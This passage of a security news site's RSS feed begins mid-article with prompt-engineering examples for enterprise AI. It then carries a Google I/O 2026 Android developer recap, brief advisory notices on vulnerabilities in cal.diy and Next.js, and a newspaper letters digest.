<p class="wp-block-paragraph"><strong>Example:</strong> I was helping a client evaluate three potential vendor platforms for an AI deployment. A standard prompt gave a superficial comparison. With ToT</p>



<p class="wp-block-paragraph"><strong>Prompt Snippet:</strong></p>



<pre class="wp-block-code"><code>Explore three different reasoning paths for selecting the best vendor platform:

Path 1: Focus on cost and scalability.

Path 2: Focus on security, compliance and integration.

Path 3: Focus on innovation and long-term roadmap.

For each path, evaluate pros/cons against our requirements [list].

Then, compare the paths and recommend the strongest overall option with justification.</code></pre>



<p class="wp-block-paragraph"><strong>Outcome:</strong> The model surfaced nuanced trade-offs (e.g., one vendor had superior security, but higher integration cost).</p>



<p class="wp-block-paragraph"><strong>When to use:</strong> Strategic planning, troubleshooting or scenarios with high uncertainty and multiple viable approaches.</p>



<h3 class="wp-block-heading">3. ReAct (Reason+ Act) and prompt chaining: Moving toward agentic behavior</h3>



<p class="wp-block-paragraph">One of the biggest leaps I have noticed comes from combining reasoning with tool use and chaining prompts.</p>



<p class="wp-block-paragraph"><strong>ReAct example</strong>: (used in data analytics workflow)</p>



<pre class="wp-block-code"><code>You are an AI analyst with access to tools. For the query below:

1. Reason about what information you need.

2. Choose the appropriate tool or action.

3. Observe the result.

4. Repeat until you can answer confidently.

Query: [user request]</code></pre>



<p class="wp-block-paragraph">In practice, I chained this with retrieval tools. One automated quarterly compliance reporting; the system reasoned about required data, pulled relevant records, validated them, and generated the reports.</p>



<h3 class="wp-block-heading">4. Meta-prompting and self-reflection: Letting the model improve itself</h3>



<p class="wp-block-paragraph">Use the model to refine its own prompt. This is a huge time-saver.</p>



<pre class="wp-block-code"><code>You are an expert prompt engineer. Improve the following prompt for clarity, structure and effectiveness with [target model]. Make it more precise while preserving intent.

Original prompt: [paste]

Provide the improved version and explain your changes.</code></pre>



<p class="wp-block-paragraph">Self-reflection loops (asking the model to critique its own output and revise) are a game-changer for content generation and code-review tasks.</p>



<h3 class="wp-block-heading">5. Multimodal and structured output techniques</h3>



<p class="wp-block-paragraph">With vision-enabled models, I started combining text with images (e.g., uploading architecture diagrams or dashboards).</p>



<p class="wp-block-paragraph"><strong>Tip from experience:</strong> Be extremely specific in describing what the models should focus on.</p>



<h4 class="wp-block-heading">Best practices I learned the hard way</h4>



<ul class="wp-block-list">
<li><strong>Start simple, then layer complexity</strong>: Over-engineered prompts from Day One usually backfire.</li>



<li><strong>Model specific tuning:</strong> Some models respond better to XML delimiters; others to explicit reasoning.</li>



<li><strong>Evaluation and versioning:</strong> Treat prompts like code if you track versions and run automated evals.</li>



<li><strong>Security guardrails:</strong> Always include instructions against prompt injections and respect data boundaries.</li>



<li><strong>When to stop prompting</strong>: For repetitive, high-stakes workflows, move to full agents or an orchestration framework.</li>
</ul>



<h2 class="wp-block-heading">Final takeaways for technical leaders</h2>



<p class="wp-block-paragraph">Advanced prompt engineering has now become a core competency for anyone responsible for enterprise AI outcomes. Start by picking one technique and apply it rigorously to a real business problem. Document before/ after and you will notice why it’s worth mastering.</p>



<p class="wp-block-paragraph">The field continues evolving towards more automated and agentic systems, but the ability to precisely direct AI reasoning remains foundational.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[17 Things to know for Android developers at Google I/O]]></title>
<description><![CDATA[Posted by Matthew McCullough, VP, Product Management, Android DeveloperToday at Google I/O, we announced the many ways we’re powering agentic workflows to increase your productivity and ensure your apps shine across the expanding Android ecosystem. Here’s a recap of 17 of our favorite announcemen...]]></description>
<link>https://tsecurity.de/de/3693511/android-tipps/17-things-to-know-for-android-developers-at-google-io/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693511/android-tipps/17-things-to-know-for-android-developers-at-google-io/</guid>
<pubDate>Sat, 25 Jul 2026 10:15:45 +0200</pubDate>
<category>🤖 Android Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjP7OJeCTRC-RN9j39-rULmU26qB-lZoyIZjjDrq07Z7b5GsfHz3q18ftSgcWReGBgIBkp03B6BVghzWllOC38o4jckzzq-e4a8R23ISeegev98zubhGXbIzhTZaqbCTaPLJC2zkxKYvvNspcM4yXkk94f6PEQHpdyMvlpwogicTWQRn3GEksJHOTQDIG4/s2048/GoogleForDevelopers-AndroidText-StrapiMetacard-2048x1323.png">


<div><div class="separator"><div class="separator"><div class="separator"><i>Posted by Matthew McCullough, VP, Product Management, Android Developer</i></div></div></div></div><div><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjVq21_VInGStxa8CNxcwiU_tpvlkPXci8aDeSb8qUqBe4teuWUN_vIqBf_W64xjTQMBYFyJkdXB-nshsp9DXXEwzUV8-Zn9feQTbuyLk8l98kAlFQqz3_LZrYaEvCukqXCZuY95tmNzrLFqXSviaTTSxflyAkpXJb88cB7mZ7g0x6fdnKzXqY8i1jmhqM/s4209/GoogleForDevelopers-AndroidText-Blogger-4209x1253.png"><img border="0" data-original-height="1253" data-original-width="4209" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjVq21_VInGStxa8CNxcwiU_tpvlkPXci8aDeSb8qUqBe4teuWUN_vIqBf_W64xjTQMBYFyJkdXB-nshsp9DXXEwzUV8-Zn9feQTbuyLk8l98kAlFQqz3_LZrYaEvCukqXCZuY95tmNzrLFqXSviaTTSxflyAkpXJb88cB7mZ7g0x6fdnKzXqY8i1jmhqM/s16000/GoogleForDevelopers-AndroidText-Blogger-4209x1253.png"></a></div><div><br></div>Today at <a href="https://io.google/2026/">Google I/O,</a> we announced the many ways we’re powering agentic workflows to increase your productivity and ensure your apps shine across the expanding Android ecosystem. Here’s a recap of 17 of our favorite announcements for Android developers; you can also <a href="https://www.youtube.com/live/KvTRMSa1w4E?si=QBAxNvihPwJCJUuS">see what was announced last week</a> in <a href="https://developer.android.com/events/show">The Android Show: I/O Edition</a>. Stay tuned over the next two days as we dive into all of the topics in more detail!<h2><strong><span>Build High Quality Android Apps Using Agents</span></strong></h2>

  <h3><strong><span>1: Android CLI: helping you build with any agent, LLM, and tool</span></strong></h3>
  <a href="https://goo.gle/CLI_IO26">Android CLI is now stable</a>. It offers programmatic tools that allow any AI agent, including Claude Code, Codex, or Antigravity, to perform core Android tasks much more easily and efficiently. With today’s release, it also provides a bridge to tap directly into the "heavy-lifting" power of Android Studio to give you the production-ready polish needed for professional Android development. By leveraging the new android studio commands, developers can now grant their preferred agents the ability to perform semantic symbol resolution, analyze files for warnings, and even render Jetpack Compose previews. This release also enables official support for "Journeys" through new <a href="https://developer.android.com/tools/agents/android-skills">Android skills</a>, which enables agents to execute end-to-end UI tests under your direction. Watch the <a href="https://www.youtube.com/watch?v=aqmpZocmR8o&amp;list=PLOU2XLYxmsIKL_eEgkKJWDRhYUEvS9eYz&amp;index=23">developer keynote</a>, and tune into the <a href="https://io.google/2026/explore/pa-keynote-7">What’s New in Android tools talk</a> for more information.    <p><span></span></p><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhXrW3yDK9uH_I8MDyVxgYbPAXfrNTJvlMkXhaZFrM1X9ob0LvQbGe_ZC6anUeO_VNd181iptI_MIuEEpX-9GZdf6ZTJCN-WHpPzDCLOeSblo8vrjliSZ0rRrHwIsERWBjbbosP-M_WvA2pva9mF5FWVygAwQbdiW3SLZgJj9TpRIruG4H-ILsvSq_b4dc/w640-h442/agy-android-cli%20(2).png"></div><div class="separator"><span><i>You can now easily install Android CLI for use with Google Antigravity 2.0.</i></span></div><p></p>

  <h3><strong><span>2: Build production-ready apps with ease in Google AI Studio</span></strong></h3>
  Developers and creators can now <a href="http://android-developers.googleblog.com/2026/05/build-android-apps-google-ai-studio.html">build native Android apps, simply with a prompt in Google AI Studio</a>. The apps are built with development best practices like Jetpack Compose, Kotlin, and APIs that leverage our recommended developer patterns. Google AI Studio enables developers to prototype, iterate via an embedded emulator, and deploy to physical devices without heavy local installations. Developers are then able to take those apps and share them to Android devices, as well as share them with others for testing through Google Play Console’s internal testing track. If a developer wants to prepare their app for a wider release, they’re able to take it to Android Studio for advanced debugging, testing, and UI polish. Watch the <a href="https://www.youtube.com/watch?v=aqmpZocmR8o&amp;list=PLOU2XLYxmsIKL_eEgkKJWDRhYUEvS9eYz&amp;index=23">developer keynote</a>, and tune into the <a href="https://io.google/2026/explore/pa-keynote-7">What’s New in Android tools talk</a> for more information.<br><br><div><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjdRaw1v6rolr4alo0C6AWKdFchsMEQgtOGfmk2Ramb0IoOB7smDcVU3yC7YJMkvVQuCPJ9vQW53tQjaV-5wcgOGzMtFDmb_Jbv40an1kvQdqYburXnsONvLqckKL2MWuShi3XmQEstW761oOLjujOk3FMsh3FyAiy5-Pe7xdTwFdfkWOmEnHhQfUJhtCo/w640-h544/image1.gif"></div><i><div class="separator"><i>Use the embedded Android Emulator to create Android apps in Google AI Studio</i></div></i></div><h2><strong><span>3: Accelerating AI coding assistance with Android Bench</span></strong></h2>
  <a href="http://d.android.com/bench">Android Bench</a> is our LLM leaderboard for Android development challenges. The goal is to accelerate model improvements, so you have more useful options for AI assistance. Many of you have been using open-weight models for AI assistance, so we’re now adding commonly used ones, such as Gemma 4, to the leaderboard, so you can see how LLMs that offer offline access and additional flexibility for power-users measure up. We're continuously working on increasing the difficulty of challenges we’re giving LLMs, to continue encouraging more useful improvements. <h3><strong><span>4: Convert iOS apps to Android with the Migration Assistant in Android Studio</span></strong></h3>
  The Migration Assistant in Android Studio is designed to port apps from platforms like iOS, React Native, or web frameworks to native Android. By simply selecting an existing project, developers can have the agent intelligently map features, convert assets like storyboards and SVGs, and implement Android best practices using Jetpack Compose and our recommended Jetpack libraries. This effectively transforms what used to be weeks of manual porting into a streamlined agentic workflow that only takes hours. We shared a preview of the incoming feature in the <a href="https://www.youtube.com/watch?v=aqmpZocmR8o&amp;list=PLOU2XLYxmsIKL_eEgkKJWDRhYUEvS9eYz&amp;index=23">developer keynote</a>. </div><div><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjK7UKI_nzS7gOkDXYONAjCNbQ4eSqlgT8qqMT5D4qf0OjQUNtxj4Urpq-eTROMEDgrqLKGlwMm_lHA7ayG_BC1DkitQI1ZKsF5gYr-mPIxFUsz_8JPcVHFAtnHZoO2CrVjMEvJrqvBz8_WU1I0T1P2diDprR2B47PcA21oS3RLtbgrhmrpiWV-MAw9ks4/w640-h360/image9%20(1).gif"></div><div class="separator"><i>A sneak peek of the Migration Assistant converting an iOS app into a native Android app</i></div>

  <h2><strong><span>Building AI Into Your Apps</span></strong></h2>

  <h3><strong><span>5: Building Intelligent Apps with generative AI</span></strong></h3>
  Generative AI enables you to create apps that are more intelligent, personalized, and agentic than ever before. This year, we introduced the latest advancements in on-device intelligence with a preview of Gemini Nano 4 for tasks like data extraction and summarization. We also expanded cloud capabilities via Firebase AI Logic, allowing developers to leverage Gemini models with robust grounding (including URL, Maps, and web search) to build smarter, more capable assistants. Furthermore, we unveiled our hybrid inference approach and the new <a href="https://goo.gle/ADK_IO26">Agent Development Kit (ADK) for Android</a>, alongside communication protocols like AG-UI and A2UI that simplify the creation of autonomous, agentic experiences. To start integrating these powerful features, explore the <a href="https://developer.android.com/ai">developer documentation</a>, and watch the technical deep dive session where we showcase all these technologies.

  <h3><strong><span>6: Experiment with AppFunctions today</span></strong></h3>
  AppFunctions is an <a href="https://developer.android.com/reference/android/app/appfunctions/package-summary">Android platform API</a> with an accompanying <a href="https://developer.android.com/jetpack/androidx/releases/appfunctions">Jetpack library</a> to simplify building Android MCP integrations. It empowers your apps to behave like on device MCP servers, contributing functions that act as tools for use by agents and assistants. AppFunctions integration with Gemini is currently in a private preview with trusted testers, and you can begin preparing your apps already. You can sign up for the <a href="http://goo.gle/eap-af">Early Access Program</a> and start experimenting using the <a href="http://d.android.com/ai/appfunctions">API guidance</a>, <a href="https://github.com/android/appfunctions">sample</a>, and <a href="https://github.com/android/skills/blob/main/device-ai/appfunctions/SKILL.md">skill</a> today.

  <h2><strong><span>The Future is Adaptive</span></strong></h2>

  <h3><strong><span>7: Android is now Compose First; Views are now in maintenance mode.</span></strong></h3>
  Compose is our standard for UI development, and we are moving to a Compose-first approach for all future guidance and libraries. Building on five years of evolution, the latest releases deliver a more mature toolkit, from the highly customizable Styles API to refined shared element transitions and enhanced input support. These updates allow you to build beautiful, adaptive apps with less code and better performance. Learn more about what Compose-first means for Android Development in <a href="http://android-developers.googleblog.com/2026/05/android-ui-development-is-compose-first.html">our blog post</a>. <br><br></div><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgq9kh5gxOfSdY2w9ZeKdWropXpqP7rj4KtodIZA5B_j7ujQu-blrsQKKC0lI4VEsEycpLEwsZeJhHaNOY1Xe9DrIHDwVszYfQN0GQlwxz8xoVfg1oiIr9zNlUyqqdCl2M7pyHoHgVvC7omKRthmXNaO3GE5Q15XeZ1ALiugszd8qHxpWuHo2Eh79zYW4M/w640-h416/image5.png"></div><div><div><i>Build Android UI with Compose</i></div><h3><strong><span>8: Building seamless Android experiences across devices with Jetpack Compose</span></strong></h3><div>The Android ecosystem is now <a href="https://goo.gle/AdaptiveApps_IO26">Adaptive by Default</a>, moving fluidly across phones, foldables, tablets, cars, XR, and expanding usages with <a href="https://developer.android.com/googlebook">Googlebook</a> and connected displays. With over 580 million large-screen devices, and users on multiple devices spending up to 14x more on apps, the investment in adaptive design presents a massive opportunity. <a href="https://developer.android.com/compose">Jetpack Compose</a> is the definitive engine for this transition, offering core tools like our latest <a href="http://goo.gle/nav3">Jetpack Navigation 3</a> release, new experimental <a href="https://developer.android.com/develop/ui/compose/layouts/adaptive/grid">Grid</a> and <a href="https://developer.android.com/develop/ui/compose/layouts/adaptive/flexbox">FlexBox</a> layouts, enhanced non-touch input support, and <a href="https://developer.android.com/media/camera/camerax">CameraX</a> for correct camera previews across any window size. Furthermore, new <a href="https://developer.android.com/tools/agents/android-skills">skills</a> in Android Studio make updating your existing app to adopt these adaptive patterns easier than ever.

  <img src="https://blogger.googleusercontent.com/img/a/AVvXsEi3DD3G6IUrmOwYh7bMq0uieBvGL8li2W48YnUfQfa3ZXy2kD7QvPorNfAyCSmFlBs4q0csXDqmZjhyGf8UHFE2pUNjvqxLaaJhmm6QpSBumq2YkMHI1jyiTNfh5WQhEEY9hP6vWhcbbwflygdTwYzoIdnuIqoht0S6iGKk4pVCnxL2wVXYBMBlcdeneD8"><i>Notability’s Android debut sets a new standard for premium productivity apps. Built with Jetpack Compose, Navigation 3, and Kotlin Multiplatform, it delivers an intuitive, adaptive experience across devices.</i></div><h3><strong><span>9: Create seamless experiences for Googlebook</span></strong></h3>
  Last week we announced <a href="https://developer.android.com/googlebook">Googlebook</a>, a high-performance laptop that provides a large-screen canvas for your existing apps. Building with adaptive principles today helps ensure your app will work on Googlebook. Get started by reviewing relevant <a href="https://developer.android.com/design/ui/desktop">design guidance</a> and <a href="https://developer.android.com/docs/quality-guidelines/adaptive-app-quality/experiences/desktop">developer guidelines</a> for desktop experiences. Try out the new Desktop Emulator available in the Android Studio Canary to to test your apps for this form factor today.</div><div><br></div><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgtH3cjiXICi8dNCtQTDV9PTyjt4wPQBl1xA9XGKGU6FmqLRuBm9YyH7HNQsydD6H6F2GIPw2TdUsFyeu2xMFUO2Jk36k5QXjuWNdm_VE8AQftq2w2m0RPFyYfyZjTppSOjzuOEpJMzF08t9V0YZr-xI7mu31uvcRItugwvVxPUBouSmOXt1MsqbB1WPC0/w640-h360/image3.png"></div><div><div><i>New Desktop Android Emulator</i></div><h3><strong><span>10: Unified widget development experience with Jetpack Glance</span></strong></h3>
  Android 17 marks a shift toward a single, Compose-based development model for all widgets. By unifying the experience across mobile, Wear OS, and cars through Jetpack Glance, you can soon scale UI components across the ecosystem with a familiar workflow. <br><br>The breakthrough this year is the integration of RemoteCompose. On mobile and cars, it powers high-fidelity animations, while on Wear OS, it allows Wear Widgets (formerly Tiles) to render complex UI logic natively on remote surfaces. This ensures peak performance on low-power hardware while allowing a cohesive user journey—like checking a flight status on your car dashboard and seeing gate change updates on your wrist.</div><div><br></div><div><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiA5s4g4hCW89qdeC2oqrTtxh6q7t9q3-wkOSt3tfVzCT3vhLUd1GMYJrhCjK04O2jyxBGl0R2pclnRq3Kb0f0Td-hV9aukKvZQTfGpGJS6GLK0MqUkpVW_0qiNC1eMGe6NPPhlCHrnQWFYhmbdSzpDnUHh5tjvpmUzZOvY2w_dX1LBnpNctSRmeahXUl4/w640-h320/blog_widgets.gif"></div><div><i>Four widgets are shown cycling through in the Android Auto interface. A clock, a contact card, Google Home favorites and a photo.</i></div><div><i><br></i></div><div><strong><span>11: Expand your reach on the road with Android for Cars</span></strong><br>To help you expand your reach when you build in-car experiences, we're making it easier to build once and deliver your apps to Android Auto and Android Automotive OS. With the latest releases of the Car App Library, you can build customized, distraction-optimized <a href="https://developer.android.com/training/cars/apps/media">templated media apps</a> for both platforms. We're introducing new <a href="https://developer.android.com/design/ui/cars/guides/components/overview">components</a> and template capabilities to give you increased flexibility and more options for laying out content. Parked experiences are expanding too, with immersive video playback coming to Android Auto for phones running Android 17. You can easily adapt your video apps for these parked experiences; <a href="https://docs.google.com/forms/d/e/1FAIpQLSf0z4Nfw8wrloVhlgHDpLgdkg4WXsFj9ni5c1pw0qTvJ3Q4fQ/viewform">apply now to the early access program</a> to publish in these beta categories and learn more about the latest updates in our <a href="http://android-developers.googleblog.com/2026/05/android-for-cars-unifying-platforms-premium-experiences.html">blog</a>.<h3><strong><span>12: Accelerate your development with Android XR Developer Preview 4</span></strong></h3>Inspired by the innovative experiences you’ve built for the platform, we’re continuing to mature our tools with <a href="https://goo.gle/XRSDK_IO26">Developer Preview 4 of the Android XR SDK</a>. A key milestone in this journey is the transition of our core libraries, XR Runtime, Jetpack SceneCore, and ARCore for Jetpack XR, moving to Beta soon to provide a more stable and performant foundation. We are also accelerating hardware access through the <a href="https://goo.gle/Catalyst_IO26">Android XR Developer Catalyst Program</a>, where you can apply for XREAL’s Project Aura, audio glasses, or display glasses developer kits. Watch The latest in Android XR session or <a href="https://goo.gle/XRSDK_IO26">read our blog</a> to see how these updates help you build experiences across the ecosystem.</div><div><br><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjyjbgGH7RwGkOkQLoXeLd88Vo7cXRjHLBSRokBWkzvYQUrqqbfrTXukM1u_SuGq0-AoXRPoGABpCOF-HMad4-aoNvXjTVyNXgGpbffTlSQMbTaXJva1c2GiUBx1fhC4fCCd0XO9XFzKNzs6edNqo0RAx-p2ZNXy0l-StJh7AxhyphenhyphenrXi-lqe-jXL0n8oprs/w640-h360/Aura%20Geospatial%20Tour%20Demo%20-%20Draft%2001%20(1).gif"></div><i><div><i>Early preview of the Geospatial API  in ARCore for Jetpack XR, enabling high-precision anchoring of digital content to real-world locations.</i></div></i><h3><strong><span>13: Android is your new home for professional-grade media experiences</span></strong></h3>
  Android 17 streamlines the entire media lifecycle with a production-ready toolkit. High-fidelity capture is now simplified with the CameraXViewfinder Composable, which handles complex scaling and responsiveness on foldables and tablets. For post-production, the new Media3 AI Effects library provides a single interface for premium features like Magic Eraser and Studio Sound, automatically optimizing for the device's hardware. <br><br>The pipeline is completed by CodecDB, offering chipset-specific encoding recommendations to eliminate export noise, and a new Scrubbing Mode in ExoPlayer for ultra-smooth seeking. Whether you’re compositing multi-asset edits with Media3 Transformer or using the streamlined CastPlayer API, these updates ensure a professional-grade experience with significantly less development overhead.</div><div><br><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhXXvjrWhhRUXdYJyhuu-Vnf0UP2jKcYhAvUggZJi10kndrixZdx4cD8HEhrWVmavlxAUT5N025Fx1kgOLJP5w83LDUSR3E9YzfIJUuZ3WBedFSBtI_oLgIcxSOYg-s53obwX_8HtYqfxSaz95LVzSiMAdrrwgL4T6TVETwtxxkZV2mSkkAfvYA681zNlc/w640-h542/supercharge%20(1).gif"></div><div class="separator"><i>Low Light Boost and Magic Eraser in action</i></div><h3><strong><span>14: Increase app discovery and engagement on Google TV</span></strong></h3>
  Pointer remotes, which enable motion-controlled input, will be a future way for users to interact with Google TV as it unlocks faster user navigation. App developers can start <a href="https://developer.android.com/training/tv/get-started/hardware#no-touchscreen">declaring support for pointing input</a> to ensure their apps are discoverable on future TVs with pointer remotes. Additionally, the Engage SDK, formerly known as the Video Discovery API, optimizes Resumption, Entitlements, and Recommendations across all Google TV form factors to boost app discovery and engagement. It’s a great time to start onboarding the Engage SDK now, since the legacy Watch Next API, which has been powering your continue watching 1.0 experience, will lose support in the 2nd half of 2027. Get all the details in our <a href="http://android-developers.googleblog.com/2026/05/increase-google-tv-app-discovery.html">blog</a>.</div><div><h3><strong><span>15: Performance: the foundation of a great app experience</span></strong></h3>To help developers navigate memory limits in Android 17, we've launched a suite of optimization tools. The <a href="https://developer.android.com/r8-analyzer">R8 Configuration Analyzer</a> identifies keep rules that are bloating your binary, while <a href="https://developer.android.com/topic/performance/tracing/profiling-manager/how-to-capture">ProfilingManager</a> and the integrated LeakCanary in Android Studio streamline memory leak detection. Furthermore, the new <a href="https://developer.android.com/android-performance-analyzer">Android Performance Analyzer</a> offers advanced AI integration for complex trace analysis and automated SQL query generation to pinpoint performance bottlenecks.     <h2><strong><span>And The Latest on Driving Business Growth </span></strong></h2>

  <h3><strong><span>16: What’s new in Google Play</span></strong></h3>Today's <a href="https://goo.gle/play-io26">updates from Google Play</a> help expand your reach and scale your business with less complexity. We’re redefining Play Store discovery with an immersive, short-form video format called Play Shorts, while expanding your audience beyond the store with app discovery in the Gemini app on Android and web. Plus, we’re introducing powerful new capabilities like agentic catalog management for seamless bulk price and SKU updates, and using Gemini models to enable Play Console  to pre-populate store listings from imported documents—making global localization effortless. </div><div><br><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgOB1wGZNYGPgY0ED70X7Dtl2KiFk8kRH4fv3HrXXTWX0-xKkN4Em0mi8QAB0g2w_-4SNcTR4fJazpiQ7XI6-XKeyQniFhULKWNmV8YvyWMuQ9tosvT5ixZ0FOye27DI90R5Tra1eWX3FCX7OrWkgzhvhCD6vtfD8_6-FMfMWDvXoVv3zSTauZwraDGsM4/w640-h360/IO26_BlogInLine_App-discovery-in-Gemini_1920x1080_1605.gif"></div><div><i>Gemini will provide users with app suggestions during a search</i></div>

  <h3><strong><span>17: And of course, Android 17</span></strong></h3>
  Android 17 includes new performance &amp; system architecture improvements (in addition to app memory limits) like a lock-free MessageQueue and a GC with more frequent, less intensive young-generation collections to ensure system-wide stability and smoother UIs. The new <a href="https://developer.android.com/about/versions/17/features/contact-picker">contact picker</a> and <a href="https://developer.android.com/reference/android/content/Intent#ACTION_OPEN_EYE_DROPPER">eyedropper API</a> help minimize the use of sensitive permissions and unnecessary access to user data. <br><br>Review <a href="https://developer.android.com/about/versions/17/behavior-changes-all">the behavior changes</a> to make sure your app is ready for Android 17, including <a href="https://developer.android.com/about/versions/17/behavior-changes-all#bg-audio">background audio hardening</a> and <a href="https://developer.android.com/about/versions/17/behavior-changes-all#sms-otp-all-apps">SMS OTP protection</a>. Get ready to <a href="https://developer.android.com/about/versions/17/behavior-changes-17">target Android 17</a> (API 37) with changes such as mandatory large-screen resizability, certificate transparency by default, and restricted local network access. You can start testing today by enrolling your device <a href="https://android-developers.googleblog.com/2026/04/the-fourth-beta-of-android-17.html">in the Beta</a> or using the latest 17.0 emulator images. <br><br>One more thing. the third beta of our Android 17 quarterly platform release (QPR1) just came out, and it contains a minor SDK release to support a few features that just couldn't wait for QPR2.

  <h2><strong><span>Check out all of the Android &amp; Play Content at Google I/O </span></strong></h2>
  <p><span face="sans-serif">This was just a preview of some of the updates for Android developers at Google I/O. Tune into <a href="https://io.google/2026/explore/pa-keynote-5">What’s New in Android</a> for the latest news and announcements and <a href="https://io.google/2026/">follow Google I/O</a> for much more over the following week!</span></p></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2025-71389 | calcom cal.diy up to 5.9.8 React Server Components Request deserialization (EUVD-2025-210506)]]></title>
<description><![CDATA[A vulnerability has been found in calcom cal.diy up to 5.9.8 and classified as critical. This affects an unknown function of the component React Server Components Request Handler. This manipulation causes deserialization.

The identification of this vulnerability is CVE-2025-71389. It is possible...]]></description>
<link>https://tsecurity.de/de/3692839/sicherheitsluecken/cve-2025-71389-calcom-caldiy-up-to-598-react-server-components-request-deserialization-euvd-2025-210506/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3692839/sicherheitsluecken/cve-2025-71389-calcom-caldiy-up-to-598-react-server-components-request-deserialization-euvd-2025-210506/</guid>
<pubDate>Sat, 25 Jul 2026 03:55:13 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability has been found in <a href="https://vuldb.com/product/calcom:cal">calcom cal.diy up to 5.9.8</a> and classified as <a href="https://vuldb.com/kb/risk">critical</a>. This affects an unknown function of the component <em>React Server Components Request Handler</em>. This manipulation causes deserialization.

The identification of this vulnerability is <a href="https://vuldb.com/cve/CVE-2025-71389">CVE-2025-71389</a>. It is possible to initiate the attack remotely. There is no exploit available.

The affected component should be upgraded.]]></content:encoded>
</item>
<item>
<title><![CDATA[Critical Next.js Flaws Let Attackers Bypass Authentication and Launch SSRF Attacks]]></title>
<description><![CDATA[Vercel has disclosed nine security vulnerabilities in Next.js, the widely used React framework, including two critical-severity flaws that allow attackers to bypass authentication middleware and hijack server-side requests. The advisories, published by researcher KarimPwnz, affect versions rangin...]]></description>
<link>https://tsecurity.de/de/3690720/it-security-nachrichten/critical-nextjs-flaws-let-attackers-bypass-authentication-and-launch-ssrf-attacks/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690720/it-security-nachrichten/critical-nextjs-flaws-let-attackers-bypass-authentication-and-launch-ssrf-attacks/</guid>
<pubDate>Fri, 24 Jul 2026 06:59:25 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Vercel has disclosed nine security vulnerabilities in Next.js, the widely used React framework, including two critical-severity flaws that allow attackers to bypass authentication middleware and hijack server-side requests. The advisories, published by researcher KarimPwnz, affect versions ranging from 12.0.0 through 16.2.10, with patches available in 15.5.21 and 16.2.11. The most severe issue, tracked as CVE-2026-64642 […]</p>
<p>The post <a href="https://cyberpress.org/critical-next-js-flaws-ssrf-attacks/">Critical Next.js Flaws Let Attackers Bypass Authentication and Launch SSRF Attacks</a> appeared first on <a href="https://cyberpress.org/">Cyber Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Mamdani’s Video Message About Netanyahu]]></title>
<description><![CDATA[Reader’s react to the New York mayor’s video criticizing the Israeli prime minister. Also: A.I. jobs for philosophers; a battle in the health care industry; fast walkers; pregnant bellies.]]></description>
<link>https://tsecurity.de/de/3689998/ai-nachrichten/mamdanis-video-message-about-netanyahu/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689998/ai-nachrichten/mamdanis-video-message-about-netanyahu/</guid>
<pubDate>Thu, 23 Jul 2026 20:33:38 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Reader’s react to the New York mayor’s video criticizing the Israeli prime minister. Also: A.I. jobs for philosophers; a battle in the health care industry; fast walkers; pregnant bellies.]]></content:encoded>
</item>
<item>
<title><![CDATA[Next.js Patches Nine Security Flaws Enabling SSRF, Authentication Bypass, and DoS Attacks]]></title>
<description><![CDATA[Vercel has disclosed and patched nine security vulnerabilities in Next.js, the widely used React framework, addressing flaws that could enable server-side request forgery (SSRF), middleware authentication bypass, denial-of-service (DoS) attacks, and sensitive data exposure. All nine advisories we...]]></description>
<link>https://tsecurity.de/de/3689715/it-security-nachrichten/nextjs-patches-nine-security-flaws-enabling-ssrf-authentication-bypass-and-dos-attacks/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689715/it-security-nachrichten/nextjs-patches-nine-security-flaws-enabling-ssrf-authentication-bypass-and-dos-attacks/</guid>
<pubDate>Thu, 23 Jul 2026 18:44:41 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Vercel has disclosed and patched nine security vulnerabilities in Next.js, the widely used React framework, addressing flaws that could enable server-side request forgery (SSRF), middleware authentication bypass, denial-of-service (DoS) attacks, and sensitive data exposure. All nine advisories were published two…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/next-js-patches-nine-security-flaws-enabling-ssrf-authentication-bypass-and-dos-attacks/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/next-js-patches-nine-security-flaws-enabling-ssrf-authentication-bypass-and-dos-attacks/">Next.js Patches Nine Security Flaws Enabling SSRF, Authentication Bypass, and DoS Attacks</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
</item>
<item>
